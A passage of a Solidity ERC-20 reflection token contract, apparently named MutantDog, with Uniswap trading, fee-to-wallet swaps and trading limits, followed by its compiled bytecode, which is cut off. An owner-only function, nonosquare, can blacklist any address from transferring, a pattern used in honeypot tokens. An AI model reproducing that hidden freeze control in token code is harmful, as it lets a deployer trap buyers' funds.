reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 5; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 7; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(2).div(100); _maxWalletSize = _tTotal.mul(3).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e98565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906129bb565b6104b4565b60405161018e9190612e7d565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061303a565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129f7565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d919061296c565b610633565b60405161021f9190612e7d565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906128de565b61070c565b005b34801561025d57600080fd5b506102666107fc565b60405161027391906130af565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612a38565b610805565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a8a565b6108b7565b005b3480156102da57600080fd5b506102e3610991565b005b3480156102f157600080fd5b5061030c600480360381019061030791906128de565b610a03565b604051610319919061303a565b60405180910390f35b34801561032e57600080fd5b50610337610a54565b005b34801561034557600080fd5b5061034e610ba7565b005b34801561035c57600080fd5b50610365610c5e565b6040516103729190612daf565b60405180910390f35b34801561038757600080fd5b50610390610c87565b60405161039d9190612e98565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906129bb565b610cc4565b6040516103da9190612e7d565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a8a565b610ce2565b005b34801561041857600080fd5b50610421610dbc565b005b34801561042f57600080fd5b50610438610e36565b005b34801561044657600080fd5b50610461600480360381019061045c9190612930565b6113ef565b60405161046e919061303a565b60405180910390f35b60606040518060400160405280600981526020017f4d7574616e74446f670000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611476565b848461147e565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f7a565b60405180910390fd5b60005b815181101561062f576001600660008484815181106105c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062790613350565b91505061057b565b5050565b6000610640848484611649565b6107018461064c611476565b6106fc8560405180606001604052806028815260200161377360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b2611476565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdc9092919063ffffffff16565b61147e565b600190509392505050565b610714611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079890612f7a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080d611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461089a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089190612f7a565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108bf611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390612f7a565b60405180910390fd5b6000811161095957600080fd5b610988606461097a83680ad78ebc5ac6200000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2611476565b73ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b6000479050610a0081611e05565b50565b6000610a4d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e71565b9050919050565b610a5c611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612f7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610baf611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f7a565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d7574616e74446f670000000000000000000000000000000000000000000000815250905090565b6000610cd8610cd1611476565b8484611649565b6001905092915050565b610cea611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90612f7a565b60405180910390fd5b60008111610d8457600080fd5b610db36064610da583680ad78ebc5ac6200000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd611476565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000610e2830610a03565b9050610e3381611edf565b50565b610e3e611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290612f7a565b60405180910390fd5b600e60149054906101000a900460ff1615610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f129061301a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fab30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac620000061147e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190612907565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c39190612907565b6040518363ffffffff1660e01b81526004016110e0929190612dca565b602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111329190612907565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bb30610a03565b6000806111c6610c5e565b426040518863ffffffff1660e01b81526004016111e896959493929190612e1c565b6060604051808303818588803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123a9190612ab3565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112a360646112956002680ad78ebc5ac6200000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b600f819055506112d960646112cb6003680ad78ebc5ac6200000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611399929190612df3565b602060405180830381600087803b1580156113b357600080fd5b505af11580156113c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113eb9190612a61565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e590612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612f1a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163c919061303a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090612eba565b60405180910390fd5b6000811161176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390612f9a565b60405180910390fd5b6000600a819055506005600b81905550611784610c5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f257506117c2610c5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ccc57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561189b5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118a457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561194f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119bd5750600e60179054906101000a900460ff165b15611afb57600f54811115611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fe90612eda565b60405180910390fd5b60105481611a1484610a03565b611a1e9190613170565b1115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690612fda565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aaa57600080fd5b601e42611ab79190613170565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ba65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bfc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c12576000600a819055506007600b819055505b6000611c1d30610a03565b9050600e60159054906101000a900460ff16158015611c8a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca25750600e60169054906101000a900460ff165b15611cca57611cb081611edf565b60004790506000811115611cc857611cc747611e05565b5b505b505b611cd78383836121d9565b505050565b6000838311158290611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b9190612e98565b60405180910390fd5b5060008385611d339190613251565b9050809150509392505050565b600080831415611d535760009050611db5565b60008284611d6191906131f7565b9050828482611d7091906131c6565b14611db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da790612f5a565b60405180910390fd5b809150505b92915050565b6000611dfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e9565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e6d573d6000803e3d6000fd5b5050565b6000600854821115611eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eaf90612efa565b60405180910390fd5b6000611ec261224c565b9050611ed78184611dbb90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f6b5781602001602082028036833780820191505090505b5090503081600081518110611fa9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561204b57600080fd5b505afa15801561205f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120839190612907565b816001815181106120bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061212430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612188959493929190613055565b600060405180830381600087803b1580156121a257600080fd5b505af11580156121b6573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121e4838383612277565b505050565b60008083118290612230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122279190612e98565b60405180910390fd5b506000838561223f91906131c6565b9050809150509392505050565b6000806000612259612442565b915091506122708183611dbb90919063ffffffff16565b9250505090565b600080600080600080612289876124a4565b9550955095509550955095506122e786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c8816125b4565b6123d28483612671565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161242f919061303a565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612478680ad78ebc5ac6200000600854611dbb90919063ffffffff16565b82101561249757600854680ad78ebc5ac62000009350935050506124a0565b81819350935050505b9091565b60008060008060008060008060006124c18a600a54600b546126ab565b92509250925060006124d161224c565b905060008060006124e48e878787612741565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061254e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cdc565b905092915050565b60008082846125659190613170565b9050838110156125aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a190612f3a565b60405180910390fd5b8091505092915050565b60006125be61224c565b905060006125d58284611d4090919063ffffffff16565b905061262981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126868260085461250c90919063ffffffff16565b6008819055506126a18160095461255690919063ffffffff16565b6009819055505050565b6000806000806126d760646126c9888a611d4090919063ffffffff16565b611dbb90919063ffffffff16565b9050600061270160646126f3888b611d4090919063ffffffff16565b611dbb90919063ffffffff16565b9050600061272a8261271c858c61250c90919063ffffffff16565b61250c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061275a8589611d4090919063ffffffff16565b905060006127718689611d4090919063ffffffff16565b905060006127888789611d4090919063ffffffff16565b905060006127b1826127a3858761250c90919063ffffffff16565b61250c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127dd6127d8846130ef565b6130ca565b905080838252602082019050828560208602820111156127fc57600080fd5b60005b8581101561282c57816128128882612836565b8452602084019350602083019250506001810190506127ff565b5050509392505050565b6000813590506128458161372d565b92915050565b60008151905061285a8161372d565b92915050565b600082601f83011261287157600080fd5b81356128818482602086016127ca565b91505092915050565b60008135905061289981613744565b92915050565b6000815190506128ae81613744565b92915050565b6000813590506128c38161375b565b92915050565b6000815190506128d88161375b565b92915050565b6000602082840312156128f057600080fd5b60006128fe84828501612836565b91505092915050565b60006020828403121561291957600080fd5b60006129278482850161284b565b91505092915050565b6000806040838503121561294357600080fd5b600061295185828601612836565b925050602061296285828601612836565b9150509250929050565b60008060006060848603121561298157600080fd5b600061298f86828701612836565b93505060206129a086828701612836565b92505060406129b1868287016128b4565b9150509250925092565b600080604083850312156129ce57600080fd5b60006129dc85828601612836565b92505060206129ed858286016128b4565b9150509250929050565b600060208284031215612a0957600080fd5b600082013567ffffffffffffffff811115612a2357600080fd5b612a2f84828501612860565b91505092915050565b600060208284031215612a4a57600080fd5b6000612a588482850161288a565b91505092915050565b600060208284031215612a7357600080fd5b6000612a818482850161289f565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128b4565b91505092915050565b600080600060608486031215612ac857600080fd5b6000612ad6868287016128c9565b9350506020612ae7868287016128c9565b9250506040612af8868287016128c9565b9150509250925092565b6000612b0e8383612b1a565b60208301905092915050565b612b2381613285565b82525050565b612b3281613285565b82525050565b6000612b438261312b565b612b4d818561314e565b9350612b588361311b565b8060005b83811015612b89578151612b708882612b02565b9750612b7b83613141565b925050600181019050612b5c565b5085935050505092915050565b612b9f81613297565b82525050565b612bae816132da565b82525050565b6000612bbf82613136565b612bc9818561315f565b9350612bd98185602086016132ec565b612be281613426565b840191505092915050565b6000612bfa60238361315f565b9150612c0582613437565b604082019050919050565b6000612c1d60198361315f565b9150612c2882613486565b602082019050919050565b6000612c40602a8361315f565b9150612c4b826134af565b604082019050919050565b6000612c6360228361315f565b9150612c6e826134fe565b604082019050919050565b6000612c86601b8361315f565b9150612c918261354d565b602082019050919050565b6000612ca960218361315f565b9150612cb482613576565b604082019050919050565b6000612ccc60208361315f565b9150612cd7826135c5565b602082019050919050565b6000612cef60298361315f565b9150612cfa826135ee565b604082019050919050565b6000612d1260258361315f565b9150612d1d8261363d565b604082019050919050565b6000612d35601a8361315f565b9150612d408261368c565b602082019050919050565b6000612d5860248361315f565b9150612d63826136b5565b604082019050919050565b6000612d7b60178361315f565b9150612d8682613704565b602082019050919050565b612d9a816132c3565b82525050565b612da9816132cd565b82525050565b6000602082019050612dc46000830184612b29565b92915050565b6000604082019050612ddf6000830185612b29565b612dec6020830184612b29565b9392505050565b6000604082019050612e086000830185612b29565b612e156020830184612d91565b9392505050565b600060c082019050612e316000830189612b29565b612e3e6020830188612d91565b612e4b6040830187612ba5565b612e586060830186612ba5565b612e656080830185612b29565b612e7260a0830184612d91565b979650505050505050565b6000602082019050612e926000830184612b96565b92915050565b60006020820190508181036000830152612eb28184612bb4565b905092915050565b60006020820190508181036000830152612ed381612bed565b9050919050565b60006020820190508181036000830152612ef381612c10565b9050919050565b60006020820190508181036000830152612f1381612c33565b9050919050565b60006020820190508181036000830152612f3381612c56565b9050919050565b60006020820190508181036000830152612f5381612c79565b9050919050565b60006020820190508181036000830152612f7381612c9c565b9050919050565b60006020820190508181036000830152612f9381612cbf565b9050919050565b60006020820190508181036000830152612fb381612ce2565b9050919050565b60006020820190508181036000830152612fd381612d05565b9050919050565b60006020820190508181036000830152612ff381612d28565b9050919050565b6000602082019050818103600083015261301381612d4b565b9050919050565b6000602082019050818103600083015261303381612d6e565b9050919050565b600060208201905061304f6000830184612d91565b92915050565b600060a08201905061306a6000830188612d91565b6130776020830187612ba5565b81810360408301526130898186612b38565b90506130986060830185612b29565b6130a56080830184612d91565b9695505050505050565b60006020820190506130c46000830184612da0565b92915050565b60006130d46130e5565b90506130e0828261331f565b919050565b6000604051905090565b600067ffffffffffffffff82111561310a576131096133f7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061317b826132c3565b9150613186836132c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bb576131ba613399565b5b828201905092915050565b60006131d1826132c3565b91506131dc836132c3565b9250826131ec576131eb6133c8565b5b828204905092915050565b6000613202826132c3565b915061320d836132c3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324657613245613399565b5b828202905092915050565b600061325c826132c3565b9150613267836132c3565b92508282101561327a57613279613399565b5b828203905092915050565b6000613290826132a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132e5826132c3565b9050919050565b60005b8381101561330a5780820151818401526020810190506132ef565b83811115613319576000848401525b50505050565b61332882613426565b810181811067ffffffffffffffff82111715613347576133466133f7565b5b80604052505050565b600061335b826132c3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338e5761338d613399565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565